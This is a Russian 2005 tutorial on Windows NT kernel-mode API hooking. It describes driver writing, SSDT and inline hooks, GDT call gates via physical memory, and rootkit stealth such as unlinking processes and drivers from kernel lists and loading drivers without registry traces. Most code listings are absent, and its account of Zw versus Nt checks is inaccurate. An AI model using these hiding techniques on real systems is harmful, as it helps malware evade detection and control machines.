Автор: a href=mailto:Ms-Rem@yandex.ru class=nlink>Ms-Rem. Дата публикации: 16.05.2005
Как известно, в процессорах серии X86 и совместимых с ними присутствует аппаратная поддержка многозадачности и защиты. Код может исполняться на одном из четырех уровней (колец) защиты. Наиболее привилегированным является нулевое кольцо, наименее привилегированным - третье. В нулевом кольце можно все: доступны привилегированные команды, порты ввода-вывода, и вся память. В других кольцах могут быть установлены другие правила: запрет некоторых команд, запрет ввода-вывода и.т.д. Между уровнями защиты можно переключаться только через специальные шлюзы, определенные в системных таблицах процессора (GDT, LDT, IDT). Доступ к памяти в защищенном режиме происходит только через селекторы находящиеся в этих таблицах, а у каждого селектора есть уровень привилегий необходимый для его использования. Подобная система позволяет изолировать код, выполняющийся на непривилегированных уровнях защиты, и полностью контролировать его исполнение с помощью кода нулевого кольца.
В Windows NT используються только два уровня привилегий: нулевое и третье кольцо. В нулевом кольце работает ядро системы и системные драйвера, а в третьем - все запущенные приложения. Привилегированные команды и ввод-ввод для третьего кольца запрещены, для взаимодействия с аппаратной частью компьютера вызываются системные сервисы ядра ОС, которые оформлены как шлюзы. При вызове такого шлюза процесс переходит в нулевое кольцо, и там ядро ОС и драйвера обрабатывают запрос и возвращают результаты приложению. После перехода в нулевое кольцо приложение не может как-либо контролировать свое исполнение, пока управление не будет возвращено коду третьего кольца. Это есть необходимое условие защиты, оно обеспечивает безопасность всей системы.
В прошлых статьях я достаточно подробно рассмотрел технику перехвата API в третьем кольце, но недостаток этих методов в том, что такие перехваты подчиняются правилам третьего кольца, тоесть могут быть обнаружены и устранены приложением. Также приложение может вызывать напрямую сервисы ядра системы, минуя API (как это сделано в моей программе ProcessMaster), в этом случае никакой перехват не поможет. Для того чтобы действительно "поработить" систему мы должны залезть на самый высокий уровень привилегий - в нулевое кольцо, и производить свои действия там. Только это гарантирует, что приложение работающее в третьем кольце не сможет обойти перехват. Попав в нулевое кольцо, мы получаем действительно полный контроль над системой. Как сделать это - войти в нулевое кольцо, и что можно делать потом, я подробно опишу в этой статье.
Память в Windows NT
Для понимания дальнейшего материала, необходимо четко представлять организацию памяти в Windows NT. В общем виде она выглядит так: Адреса от 0x00000000 до 0x0000FFFF не используются, любое обращение к этим адресам вызывает ошибку. Это нужно для выявления нулевых указателей, так как обращение по нулевому указателю это частая ошибка в программах. Адреса от 0x00010000 до 0x7FFFFFFF представляют пользовательское адресное пространство (User Space), эта область памяти различна у каждого процесса в системе. В ней находятся код третьего кольца и связанные с ним данные процесса. Адреса от 0x800000000 до 0xFFFFFFFF представляют собой область памяти ядра системы (Kernel Space), эта область одна на всю систему, и у всех процессов одинакова. В ней размещается ядро системы, драйвера, файловый кеш, разделяемая память, системные пулы, а также все структуры ядра. Доступ к этой области памяти можно получить только из нулевого кольца, любое обращение к ней пользовательского кода вызывает ошибку. При работе с этой областью памяти следует соблюдать большую осторожность, так как не все исключения, возникающие в ней могут быть обработаны, что может вызвать падение системы. При разрушении памяти пользовательского режима, будет завершен только тот процесс, целостность памяти которого нарушена, но нарушение целостности структур памяти ядра немедленно ведет к падению системы с синим экраном.
Методы входа в Ring0
По документации Microsoft для выполнения своего кода в нулевом кольце защиты нам потребуется написать драйвер режима ядра. Но существует еще один способ: через физическую память. В системе есть объект "секция" с именем \Device\PhysicalMemory который представляет из себя отображение физической памяти компьютера. Его можно открыть с помощью ZwOpenSection, после чего можно изменить содержимое системных таблиц (GDT, LDT, IDT) и создать в них свой шлюз, через который можно будет выполнить свой код в нулевом кольце. Существуют также методы перехода в нулевое кольцо путем использования какой-либо уязвимости системы, но так как эти методы работают только с необновленными системами мы их рассматривать не будем.
Пишем драйвер
Начнем с вполне документированного способа: написания драйвера. Для этого нам понадобиться Visual C++ 6.0 (или позже) и комплект DDK (Driver Development Kit). DDK идет под конкретную версию Windows NT, и раньше был доступен для скачивания с сайта Microsoft, но теперь мелкомягкие стали требовать за него денег. Однако, при большом желании, DDK всё же можно найти. Подойдет практически любая версия. После установки DDK можно приступать к созданию шаблона простейшего драйвера.
Файл driver.c :
Функция DriverEntry выполняется при загрузке драйвера в систему, в качестве параметров ей передается указатель на объект драйвера и путь в реестре, по которому этот драйвер приписан пи установке. Следует учесть, что процедура DriverEntry выполняется в контексте процесса System, это может быть немаловажно при написании некоторых специфических функций драйвера. Для компиляции драйвера мы создадим еще несколько файлов:
makefile: !INCLUDE $(NTMAKEENV)\makefile.def
sources:
TARGETNAME=driver
TARGETPATH=obj
TARGETTYPE=DRIVER
C_DEFINES=$(C_DEFINES)
X86_CPU_OPTIMIZATION=O2
INCLUDES=C:\WINDDK\2600\inc
SOURCES=driver.c
RELEASETYPE=DDK
make.bat:
%SystemRoot%\system32\cmd.exe /c "cd C:\WINDDK\2600\bin\&&setenv.bat
C:\WINDDK\2600\&&cd c:\driver\&&build -ceZ&&pause"
После этого можно компилировать драйвер запуском make.bat.
Что делать дальше?
Итак, код в драйвере выполняется в нулевом кольце защиты и может делать все что угодно, но что конкретно мы можем сделать? Самое простое - убить систему, для этого нужно просто создать необработанное исключение, что немедленно приведет к синему экрану. Например следующий код исполненный в драйвере немедленно валит систему:
Здесь происходит обращеное к нулевому адресу памяти, а обращение к первым 0xFFFF байтам памяти является ошибкой, так как эта область адресного пространства специально зарезервирована для обнаружения нулевых указателей. В результате возникает исключение Page Fault, а так как для него отсутствует обработчик исключения, то в результате возникнет синий экран. Поэтому при программировании кода исполняющегося в нулевом кольце следует быть очень внимательным, и в критических местах устанавливать обработчики ошибок. Например в следующем примере возникающая ошибка обрабатывается и синий экран не возникает:
Но существует класс исключений не обрабатываемых в нулевом кольце - это например деление на ноль, обращение к отсутствующему участку ядерной памяти, или неверный опкод команды. Также невозможна вложенная обработка исключений, при возникновении исключения внутри обработчика исключения в любом случае получается синий экран.
Отладка:
При компиляции этого простейшего драйвера нам конечно не понадобиться ничего отлаживать, но в будущем нам понадобиться писать более сложные программы, и несомненно нужно как-то контролировать их исполнение. Для начала весьма удобным средством является вывод отладочных сообщений функцией DbgPrint, в нашем примере для этого даже существует макрос DPRINT, который производит такой вывод только в случае компиляции драйвера в отладочном режиме. Функция DbgPrint полностью аналогична функции printf, тоесть позволяет выводить форматированные строки различными способами. Для просмотра отладочных сообщений удобно использовать утилиту DbgView Марка Руссиновича, которую можно скачать с www.sysinternals.com, также эти сообщения можно просматривать в отладчике SoftIce.
Для более серьезной отладки необходимо следить за исполнением кода и иметь возможность вмешиваться в этот процесс, для этого нам нужен отладчик режима ядра. Для этого может подойти WinDBG от Microsoft, он имеет удобный графический интерфейс и прост в использовании, но я рекомендую установить SoftIce, так как его возможности значительно превосходят WinDBG, он имеет мощную систему команд, и при некотором навыке становиться гораздо более удобен в использовании. Я не буду останавливаться на установке и использовании SoftIce, это хорошо описано на www.cracklab.ru.
Перехват:
Для осуществления перехвата API на самом низком уровне - в ядре системы нам необходимо четко представлять иерархию вызова API в системе. В упрощенном виде это выглядит так:
В прошлых статьях мы перехватывали Win32 API и NativeAPI уровня пользователя, но теперь будем перехватывать NativeAPI уровня ядра.
На самом деле функции NativeAPI и являются функциями ядра, а аналогичные им функции из ntdll.dll являются переходниками, которые через интерфейс системных вызовов обращаются к соответствующим функциям ядра. При программировании драйверов мы можем использовать те же NativeAPI функции, что и в приложениях третьего кольца, но не можем использовать API более высокого уровня. Также на этом уровне становятся доступными многие функции экспортируемые ядром и предназначенные для использования только в драйверах. В NativeAPI пользовательского уровня мы имеем пары аналогичных функций, отличающиеся только префиксами Zw и Nt, там они отличаются только названием, а имеют одну и ту же точку входа. На уровне ядра мы также имеем аналогичные пары функций, но между ними имеется одно различие, функции с префиксом Zw производят перед выполнением действия проверки системы безопасности (прав пользователя), а функции с префиксом Nt - нет.
Из пользовательского режима через интерфейс системных вызовов нам доступны Nt функции. Zw функции следует вызывать тогда, когда передающиеся им параметры были взяты из Usermode, тогда будут проведены все необходимые проверки.
Рассмотрим подробнее работу интерфейса системных вызовов:
Из этой схемы следует, что вызов функции ядра, прежде чем будет передан соответствующей NativeAPI ядра проходит предварительно довольно сложную обработку. Сначала, в третьем кольце вызывается соответствующая функция в Ntdll, где а регистр EAX помещается номер вызываемого системного сервиса, а в регистр EDX - указатель на передаваемые параметры. Затем вызывается прерывание 2Eh (в Windows XP - команда sysenter) и происходит переход процесса в нулевое кольцо, где управление передается согласно записанному в IDT шлюзу прерывания, в этом месте происходит переключение окружения третьего кольца на нулевое, выполняется смена стека на стек ядра, и происходит перезагрузка сегментного регистра FS, который в нулевом кольце указывает на совершенно другие структуры, чем в третьем кольце. Затем управление передается обработчику прерывания 2Eh - функции ядра KiSystemService. Эта функция копирует передаваемые системному сервису параметры в стек ядра, и производит вызов NativeAPI функции ядра согласно содержимому ServiceDescriptorTable. Эта таблица находится в памяти ядра, и представляет собой структуру содержащую 4 таблицы системных сервисов (SST). Первая из этих таблиц описывает сервисы экспортируемые ядром (ntoskrnl.exe), вторая - графической подсистемой (win32k.sys), а остальные две зарезервированы на будующее и сейчас не используются. Формат этих структур следующий:
Число системных сервисов описываемых каждой SST находится в поле ServiceLimit, поле ServiceTable - указатель на массив содержащий адреса ядерных функций соответствующих экспортируемым сервисам. ArgumentTable - указатель на массив содержащий число аргументов принимаемых каждой экспортируемой функцией (используется KiSystemService при копировании параметров), CounterTable - указатель на массив счетчиков использования каждой функции (этот массив присутствует только в отладочном билде Windows). Из этого следует, что для того, чтобы перехватить какую-либо функцию экспортируемую через этот механизм в третье кольцо мы должны заменить её адрес в соответствующей SST на адрес своего обработчика, но перед этим мы должны сохранить оригинальный адрес функции для её последующего вызова.
Сделать это очень легко, так как указатель на SDT экспортируется ядром по имени KeServiceDescriptorTable, поэтому чтобы его получить, мы должны просто объявить внешнюю переменную: extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
Сейчас нас интересует SST для ntoskrnl, для простого доступа к массиву с адресами функций будем использовать следующий макрос:
Теперь для перехвата какой-либо ядерной функции нам нужно просто создать для нее свой обработчик и заменить адрес в SST следующим образом: NTCALL(fNum) = NewFunction; где fNum - номер перехватываемого системного вызова, а NewFunction - его новый обработчик. Таблицу номеров функций экспортируемых ядром и графической подсистемой вы найдете в приложении к статье.
Для проверки работоспособности этого способа мы сейчас напишем драйвер перехватывающий функцию NtOpenProcess и запрещающий открытие какого-нибудь процесса с флагом PROCESS_TERMINATE, после чего убить этот процесс диспетчером задач будет уже невозможно. Подобным способом защиты пользуются также некоторые антивирусы.
Вот полный текст драйвера осуществляющего защиту процесса с ProcessID 2800:
Следует обратить внимание, что в данном коде перед проверкой значения поля UniqueProcess производится сначала проверка указателя ClientId а затем копирование поля UniqueProcess внутри обработчика ошибок. Проверка указателя связана с тем, что он передается нашему коду из пользовательского процесса третьего кольца, а нам нельзя позволять адресовать область памяти ядра пользовательскому коду. Обработчик ошибок при копировании необходим по причине того, что указатель может указывать на отсутствующую область памяти, а обращение по такому указателю без обработки ошибок приведет к падению системы. При написании драйверов очень важно обращать внимание на такие моменты, иначе это может быть причиной уязвимости в вашей программе. Также следует обратить внимание на то, что перед изменением содержимого SST производится запрет прерываний и очистка WP бита в регистре CR0. Запрет прерываний необходим по причине того, что наш поток может быть прерван в момент записи в SST, и в это время другой поток обратится к перехватываемой функции, что приведет к падению системы. Также в некоторых конфигурациях в системы имеется защита от модификации ядерных страниц памяти. Этой защитой управляет WP бит в регистре CR0, если его не очищать перед модификацией памяти ядра, то это может стать причиной нестабильной работы драйвера, на некоторых системах он может работать, а на некоторых вызывать синий экран. Для загрузки драйвера я рекомендую использовать программу KmdManager от Four-F которая входит в состав его KmdKit (пакета DDK для masm32) который можно скачать с www.wasm.ru (раздел "инструменты"). В состав этого пакета входит еще несколько полезных программ, поэтому всем рекомендую его скачать.
Перехват через SDT несомненно удобен, но у него имеется один недостаток - его легко обнаружить и удалить. Для этого просто нужно проверить соответствие адресов в SDT адресам соответствующих экспортируемых ядром функций, и при несоответствии исправить адреса. Для устранения этого недостатка можно воспользоваться методом перехвата, который я описал в предыдущих статьях - заменой кодов в начале функции. Адрес перехватываемой функции можно определить как через SDT, так и импортом его из ядра. В первом случае, при наличии на этой функции какого-либо перехвата наш обработчик будет установлен поверх старого обработчика, а во втором случае - прямо на функцию.
Вот полный код драйвера выполняющего аналогичную предыдущему функцию. Его отличие в том, что перехват производится непосредственно заменой кода начала перехватываемой функции. Адрес определяется путем импорта его из ядра.
Следует обратить внимание на то, что перед объявлением структур far_jmp и OldCode производится установка выравнивания структур по одному байту с помощью директивы #pragma pack (push, 1), иначе компилятор будет выравнивать структуры по 8 байт, что приведет к неправильному представлению кода в памяти, и драйвер будет ронять систему в синий экран.
Взаимодействие драйвера с приложением:
В драйверах приведенных выше идентификатор защищаемого процесса жестко прописан в коде, но при практическом применении такой подход недопустим. Очень часто требуется организовать обмен данными между драйвером и приложением. Для этого можно использовать систему ввода-вывода. Для этого драйвер должен создать объект "устройство", через которое ему будут направляться запросы ввода-вывода. Это устройство будет находиться в первичном пространстве имен диспетчера объектов, в каталоге \Device. Для доступа к устройству можно использовать функции NativeAPI, либо для упрощения создать символическую ссылку на объект в каталоге \DosDevices, после чего устройство можно будет открыть через CreateFile. После этого любой запрос ввода-вывода посланный через ReadFile или WriteFile будет послан нашему драйверу путем вызова зарегистрированной им Callback функции ассоциированной с соответствующим типом запроса. Приведем пример драйвера создающего устройство, символическую ссылку на него и выводящего получаемые им данные через DbgPrint в отладочную консоль.
Каждый запрос ввода-вывода преобразуется в IRP пакет и направляется на обработчик назначенный на данный тип пакета. Драйвер обязательно должен обрабатывать запрос IRP_MJ_CREATE который посылается при открытии устройства приложением. В данном случае я еще обрабатываю запрос IRP_MJ_WRITE, который посылается при записи данных в созданное устройства. Обработчиком обоих типов пакетов назначена процедура DriverDispatcher, где происходит прием данных и вывод их через функцию DbgPrint. Так как при создании устройства я выбрал прямой, небуферизованный метод ввода-вывода (METHOD_NEITHER). При применении этого метода мы получаем данные из пользовательского адресного пространства, поэтому при операциях с этими данными необходимо устанавливать обработчик ошибок. Следует учесть одну особенность: процедура DriverDispatcher вызывается в контексте процесса выполняющего запрос ввода-вывода, и это следует учесть при доступе к каким-либо объектам по хэндлу. Если необходимо обращаться к объектам по хэндлу из разных процессов, то следует при открытии объекта поместить хэндл в таблицу хэндлов ядра путем оказания в OBJECT_ATTRIBUTES флага OBJ_KERNEL_HANDLE. Такой хэндл будет доступен из любых процессов, но только в режиме ядра. Хочу также вас предупредить, что вышеприведенный драйвер написан только с целью показать принципы работы ввода-вывода, и для практического применения не подходит по причине того, что содержит две уязвимости. Первая уязвимость состоит в том, что буфер данных полученный от приложения напрямую передается в DbgPrint без проверки длины строки и наличия завершающего ноля. При передаче строки которая не завершается нолем, а оканчивается на невыделенной области памяти произойдет падение системы. Вторая уязвимость - в том, что данные передаются функции осуществляющей форматный вывод, что вызывает уязвимость форматной строки. Это более серьезно, так как может привести к повышению привилегий. Подробно про использование такого рода уязвимостей вы можете прочитать на различных хакерских сайтах. Поэтому, при программировании драйверов следует всегда обращать внимание на такие моменты, так как тут очень велика вероятность возникновения уязвимостей. Для проверки этого драйвера мы напишем программу на Delphi, которая будет отправлять в драйвер текстовые строки. Процедура передачи строки будет выглядеть так:
Драйвер - очень удобный способ выхода в нулевое кольцо, но возникает вопрос - как загрузить драйвер. Для этого можно использовать два способа: использовать вполне документированный API SCM (Service Control Manager) или прописывать драйвер в реестре вручную и загружать его с помощью недокументированной Native API функции ZwLoadDriver. Первый способ очень прост и хорошо документирован, он подходит для постоянной установки драйверов. Второй же способ позволяет создать в реестре минимум необходимых записей, запустить драйвер, и тут же удалить его раздел из реестра. Это позволяет запускать драйвер быстро и незаметно и подходит для маленьких программ не требующих установки, но требующих запуска своего драйвера. Сейчас мы рассмотрим оба способа запуска драйвера.
Запуск драйвера с помощью SCM будет выглядеть так:
Этот метод я считаю весьма тормозным и неудобным в применении, есть более удобный и быстрый способ:
В общем, с загрузкой драйвера проблем не возникнет. Но есть также возможность загружать драйвер при старте системы, для этого нужно установить драйвер через SCM и указать тип загрузки не SERVICE_DEMAND_START, а SERVICE_AUTO_START, SERVICE_SYSTEM_START или SERVICE_BOOT_START. При использовании загрузки SERVICE_AUTO_START драйвер будет загружен менеджером сервисов после инициализации системы, при применении параметра SERVICE_SYSTEM_START драйвер будет загружен менеджером ввода-вывода в момент инициализации ядра, при использовании параметра SERVICE_BOOT_START драйвер будет загружен загрузчиком ntldr еще до запуска ядра системы, и будет запущен в начальной фазе инициализации ядра. При использовании последнего типа загрузки в момент запуска драйвера ему не будет доступен ввод-вывод и многие API ядра связанные еще неинициализированными системами.
Возможно, у вас может возникнуть задача скрытия загруженного драйвера. Первое что приходит в голову - это конечно же перехват API, но в нулевом кольце можно воспользоваться более простыми и надежными методами. Дело в том, что каждый загруженный драйвер представляется в первичном пространстве имен диспетчера объектов как объект типа "Driver" в каталоге \Driver. Каталог первичного пространства имен в структурах ядра выглядит как массив указателей на входящие в эту директорию поддиректории и объекты. В структурах описывающих поддиректории также имеются двухсвязные списки указателей на предыдущую и следующую директории списка. Для скрытия объекта в первичном пространстве имен нам нужно получить указатель на объект директории, найти в нем структуру описывающую скрываемый объект и корректно удалить её. Все эти действия осуществляет нижеприведенный код:
Впервые этот код был приведен на http://www.rootkit.com/newsread.php?newsid=209
Теперь для скрытия какого-либо объекта достаточно вызвать HideObject(L"\\Driver", L"MyDriver"); где \Driver - директория где находится объект, а MyDriver - имя объекта. Полный код драйвера осуществляющего такое скрытие я здесь приводить не буду, но вы можете скачать в приложении к статье драйвер подобный предыдущему (выводящий в отладочную консоль получаемую информацию), но удаляющий себя из списка загруженных драйверов. Единственный недостаток этого метода в том, что скрытый таким образом драйвер нельзя будет выгрузить из системы, а также, если скрытие драйвера вызывается в процедуре DriverEntry, то драйвер при запуске будет возвращать код ошибки, но в памяти останется и будет нормально функционировать.
Здесь я дал только основные принципы написания драйверов. Это достаточно для того, чтобы начать их писать, но если вы интересуетесь этой темой, то отсылаю вас к специальной литературе на эту тему.
А что можно без драйвера?
Иногда возникает необходимость производить действия доступные только в нулевом кольце, а использовать для этого драйвер нежелательно или невозможно. Поэтому я опишу еще один способ, который позволяет перейти в нулевое кольцо и работать в нем не используя драйвер вообще. Способ этот основывается на открытии секции \Device\PhysicalMemory и модификации глобальной таблицы дескрипторов (GDT). В GDT добавляется дескриптор шлюза вызова CallGate который указывает на наш код выполняющийся в нулевом кольце. После чего производится вызов шлюза командой длинного вызова CALL FAR, которая изменяет привилегии кода и передает управление нашему коду. Структура описывающая шлюз вызова выглядит следующим образом:
Нужно определить адрес GDT в памяти (с помощью команды SGDT), перевести полученный виртуальный адрес в физический, отобразить данный участок памяти в свое адресное пространство, после чего найти ближайший свободный селектор в GDT и записать туда свой шлюз.
Сейчас мы разберем по порядку все эти действия:
Открытие памяти:
Следует обратить внимание на то, что нужную нам секцию нельзя сразу открыть на запись, так как полный доступ к ней имеет только система, нужно сначала изменить атрибуты безопасности секции разрешив текущему пользователю открывать её на запись, после чего секцию можно открыть и установить старые атрибуты безопасности обратно (для большей незаметности). Естественно все эти действия можно проделать только имея права администратора.
Установка шлюза будет выглядеть так:
В этом коде Ring0CallProc - адрес кода который может быть вызван через установленный шлюз и будет выполнен в нулевом кольце защиты. Селектор установленного шлюза будет равен DWORD(CurrentGate) - DWORD(ptrGDT) - offset, смещение неважно. Теперь для вызова нашего кода достаточно выполнить длинный вызов FAR CALL на установленный шлюз:
Когда необходимость в шлюзе отпадет, то его необходимо убрать с помощью следующего кода:
С помощью этого способа можно не используя драйвер исполнять участки кода в нулевом кольце, но применять данный способ весьма нежелательно. Дело в том, что код на который указывает шлюз находится в пользовательском диапазоне адресов, и следовательно для каждого адресного пространства будет различным. Вызывать же шлюзы из GDT можно из любого процесса. Вызов нашего шлюза из другого процеса скорее всего приведет к падению системы с синим экраном, а специально составленный вызов может позволить процессу выполняющемуся с низкими правами поднять свои привилегии. Следует запомнить, что установка пользовательских шлюзов в нулевое кольцо создает в системе серьезную уязвимость, поэтому следует стараться не применять их в своих программах, или хотя-бы быстро удалять шлюз после использования. Подобного эффекта можно также достичь путем модификации IDT и перенаправления вектора какого-либо неиспользуемого прерывания в свой код с последующим вызовом этого прерывания.
Как работать в ring0 без драйвера:
Теперь мы можем не используя драйвер выполнять участки кода в нулевом кольце. Но что мы можем сделать? Работая в драйвере мы можем использовать функции экспортируемые ядром и другими драйверами, и с помощью них взаимодействовать с системой, а здесь наш код лишен такой возможности по той причине, что мы не знаем адреса необходимых нам функций. Также, при работе в драйвере мы имеем другое содержимое сегментных регистров, которое заполняется при выполнении системного вызова, а в данном случае мы имеем те же регистры, что и в режиме пользователя. Поэтому для выполнения каких-либо практических задач с применением этого метода нам нужно получить адреса необходимых нам функций ядра и изменять содержимое регистра FS, через который осуществляется доступ к системным структурам связанным с текущим процессом. В режиме пользователя и в режиме ядра этот регистр указывает на совершенно разные структуры. Для получения адресов API ядра можно использовать следующую методику: загрузить ядро (ntoskrnl.exe) с помощью LoadLibraryEx с установленным флагом DONT_RESOLVE_DLL_REFERENCES в наше адресное пространство, функция возвратит нам адрес MZ заголовка ядра подгруженного в User Space. Теперь с помощью GetProcAddress мы можем получить адрес интересующей нас функции в User Space. Разность адреса функции и адреса подгруженного ядра будет смещением начала функции в ядре. Теперь нам нужно узнать адрес загрузки ядра в Kernel Space и прибавить к нему полученное смещение, и у нас будет адрес нужной нам функции в Kernel Space. Определить адрес загрузки системного модуля в Kernel Space можно путем вызова Nativa API функции ZwQuerySystemInformation с классом SystemModuleInformation, функция вернет нам список загруженных модулей и информацию о них. Для получения адреса загрузки модуля в Kernel Space можно использовать следующую функцию:
После чего адрес нужной нам функции ядра вычисляется следующим образом:
где dKernelBase - адрес ядра загруженного в User Space, KernelBase - адрес ядра в Kernel Space. Теперь, нам нужно получить таким способом адреса всех необходимых функций и сохранить их в глобальных переменных, после чего их можно будет легко вызывать из Ring0 кода. Также не следует забывать а необходимости перезагрузки регистра FS, что делается следующим кодом:
Попробуем теперь найти применение описанной методике. Для начала напишем функцию Ring0CopyMemory, которая будет копировать участки памяти в нулевом кольце, что позволит нам работать с памятью ядра. Но неприятная особенность копирования памяти в нулевом кольце состоит в том, что попытка доступа к невыделенной памяти неизбежно ведет к синему экрану, поэтому перед копированием желательно проверить переданные указатели на валидность. Для этого в ядре существует функция MmIsAddressValid, которая принимает проверяемый указатель, и возвращает в случае валидности указателя EAX > 0, или 0, если память невыделенна. Получим адрес этой функции по вышеописанной методике и занесем его в переменную AdrMmIsValid. После этого функция копирования памяти будет иметь следующий вид:
Также следует обратить внимание на то, что перед копированием делается попытка закрепить копируемые страницы в памяти, так как при их отсутствии, из за того, что переход в нулевое кольцо совершен без уведомления системы и изменения соответствующих системных структур, страничная ошибка может быть неправильно обработана и подкачка не выполнена, что приведет к падению системы. Естественно, после копирования закрепленные страницы следует разблокировать. При применении для перехода в нулевое кольцо шлюза вызова, злоупотреблять этой процедурой не следует, так как при невозможности закрепления копируемых областей в памяти мы можем получить нестабильность в работе процедуры, и как следствие - частые синие экраны.
Теперь нам доступна память ядра, попробуем поработать с некоторыми ядерными структурами. Для начала, попробуем получить список всех процессов в системе. Казалось бы, зачем для этого лазить в нулевое кольцо, ведь есть ToolHelp API, которые весьма просты в использовании. Но недостаток перечисления процессов через API в том, что они могут быть перехвачены и процесс может быть скрыт. В первой части статьи я описал, как получить список процессов обращаясь к ядру через интерфейс системных вызовов, но этот метод не гарантирует, что будут обнаружены все процессы, так как API могут быть перехвачены в ядре. Поэтому сейчас мы попробуем получить список процессов на самом низком уровне - из структур ядра.
Каждый процесс в памяти ядра представлен структурой EPROCESS, которая хранит в себе информацию о параметрах этого процесса, а также содержит в себе ссылки на структуры предыдущего и следующего процессов в списке. Эта структура имеет различный формат для разных версий Windows NT, поэтому я не буду приводить её целиком, а рассмотрю только важные её части. Допустим, мы уже получили указатель на структуру EPROCESS интересующего нас процесса, теперь нам нужно извлеч из нее имя процесса, его Process Id и id родительского процесса. Для Windows XP имя процесса находится в структуре EPROCESS по смещению 174h и занимает 16 байт в ANSI кодировке, ProcessId - имеет смещение 84h и размер dword, Parrent Process ID имеет смещение 14Ch. В Windows 2000 эти данные имеют соответственно смещения 1FCh, 9Сh и 1С8h. В структуре EPROCESS каждого процесса содержатся указатели на структуры следующего и предыдущего процессов. Список структур EPROCESS всех процессов в системе начинается с переменной ядра PsActiveProcessesLink, которая ядром не экспортируется, но её можно получить с помощью анализа двухсвязного списка структур EPROCESS. В общем виде этот двухсвязный список будет выглядеть так:
ActiveProcessesLink - это элемент двухсвязного списка содержащий указатели FLink (на следующий элемент списка) и BLink (на предыдущий). Эти указатели в Windows XP имеют смещения 88h и 8Ch соответственно (в Windows 2000 - A0h и A4h). Заметьте, что указатели ActiveProcessesLink указывают не на начало структуры EPROCESS, а на слудующий элемент двухсвязного списка, поэтому для получения указателя на EPROCESS нам нужно отнять смешение ActiveProcessesLink в структуре EPROCESS. Для получения списка всех процессов в системе нам нужно получить указатель на EPROCESS любого процесса, после чего двигаться по спискам ActiveProcessesLink до тех пор, пока не окажемся на той структуре, с которой начали. В качестве эталона на который будет опираться весь дальнейший код я возьму указатель на EPROCESS процесса System, так как это единственный обязательный процесс в системе который существует все время её работы (после загрузки). Для получения этого указателя сначала получим с помощью функции ядра IoGetCurrentProcess указатель на EPROCESS текущего процесса, после чего будем двигаться по связанным спискам до тех пор, пока не будет обнаружен процесс с Parrent Pid = 0, это и будет процесс System. Так как нужно сделать код работающий в различных версиях Windows (в том числе легко переносимый на следующие версии), то мы не будем хранить в коде смещения нужных нам данных в структуре EPROCESS, а заведем структуру, куда занесем эти данные (в зависимости от версии системы) и будем использовать эту структуру в коде.
Заполняется эта структура следующим кодом:
Также здесь определяются адреса ядерных функций которые нам в дальнейшем понадобятся. Теперь код поиска EPROCESS процесса System будет выглядеть так:
Теперь, получив указатель на EPROCESS мы можем получить список всех процессов в системе используя следующий код:
Я думаю, обьяснять как работает этот код не следует, так как это должно быть панятно из предшествующего описания. Единственный момент на который следует обратить внимание - это то, что перед получением списка процессов текущему потоку выставляется приоритет реального времени. Это связано с тем, что если наш поток в момент обработки связанного списка будет прерван, и в этот момент произойдет удаление того процесса, на который указывает только что полученный указатель, то наш код может вызвать ошибку доступа памяти в нулевом кольце, и как следствие - синий экран. Повышение приоритета потока исключает такую возможность, так как удаление процессов выполняется потоком режима ядра с приоритетом Normal. Во всех дальнейших примерах будет использован такой-же прием при любых манипуляциях с структурами ядра.
Итак, список процессов мы получили, теперь попробуем изменять структуры EPROCESS. Например, можно сменить PID процесса. Для удобства, все дальнейшие функции будут работать не с Id процесса, а с указателем на его EPROCESS, поэтому введем функцию для получения указателя на EPROCESS по Process Id:
Описывать как работает этот код тоже не стоит, так как это все та же работа со связанными списками. Смена же Process Id по указателю на EPROCESS выглядит и того проще:
Что еще можно сделать интересного с процессом? Например, можно скрыть процесс в системе без использования каких-либо перехватов API. Для этого нужно получить указатель на EPROCESS скрываемого процесса и изменить FLink следующего процесса и BLink предыдущего так, чтобы они указывали друг на друга. Тогда перечисление процессов будет идти в обход скрываемого. Этот метод работает потому, что планировщик Windows ничего не знает о процессах, он просто распределяет процессорное время между всеми потоками в системе независимо от принадлежности их какому-либо процессу. Поэтому в системе могут существовать "свободные" потоки, не принадлежащие никакому процессу. Итак, скрытие процесса осуществляет следующий код:
Иногда, желательно иметь возможность сделать скрытый процесс снова видимым. Для этого нужно перед скрытием сохранить указатель на EPROCESS, а потом вставить скрытый процесс в любое место связанного списка, соответствующим образом исправив указатели. Для простоты мы будем вставлять процессы сразу же после EPROCESS процесса System, и полный код осуществляющий это будет выглядеть так:
Возможность изменять имя процесса налету тоже может оказаться полезной. В Windows NT4 и более поздних версиях NT в структуре EPROCESS есть поле ImageFileName размером 16 байт. В нем храниться имя процесса возвращаемое при перечислении списка процессов. Начиная с Windows XP в структуре EPROCESS дополнительно появилось поле SE_AUDIT_PROCESS_CREATION_INFO которое содержит указатель на структуру UNICODE_STRING содержащую полный путь к исполняемому файлу(в NT формате) из которого был запущен процесс. Это нужно учесть при смене имени процесса в этих системах. Вот код осуществляющий смену имени процесса:
Что же еще можно сделать в нулевом кольце? Да практически что угодно! Все, на что хватит фантазии и знаний. Например, может кому-нибудь будет интересна быстрая перезагрузка компьютера (аналог Reset), или отключение питания HDD, это делается проще некуда:
Но для прямого доступа к железу не обязательно выходить в нулевое кольцо, можно просто открыть коду третьего кольца доступ к портам ввода-вывода. Для этого следует изменить IOPM в TSS так, чтобы разрешенным для третьего кольца портам соответствовал 0 бит, а запрещенным - 1, после чего нужно разрешить использование IOPM для конкретных процессов. Для получения и установки карты ввода-вывода (IOPM) в ядре есть недокументированные функции Ke386GetIoAccessMap и Ke386IoSetAccessMap соответственно, а для разрешения или запрета использования IOPM процессом - Ke386IoSetAccessProcess. А вот и код, который все это осуществляет:
Для управления доступом к отдельным портам можно применить такой код:
Этот метод можно использовать для того, чтобы заставить работать под NT старые досовские игрушки, которые используют прямой доступ к железу. Для этого достаточно установить карту ввода-вывода, а её использование для DOS процессов разрешено по умолчанию.
Перехват API функций в Windows NT (часть 3). Нулевое кольцо.
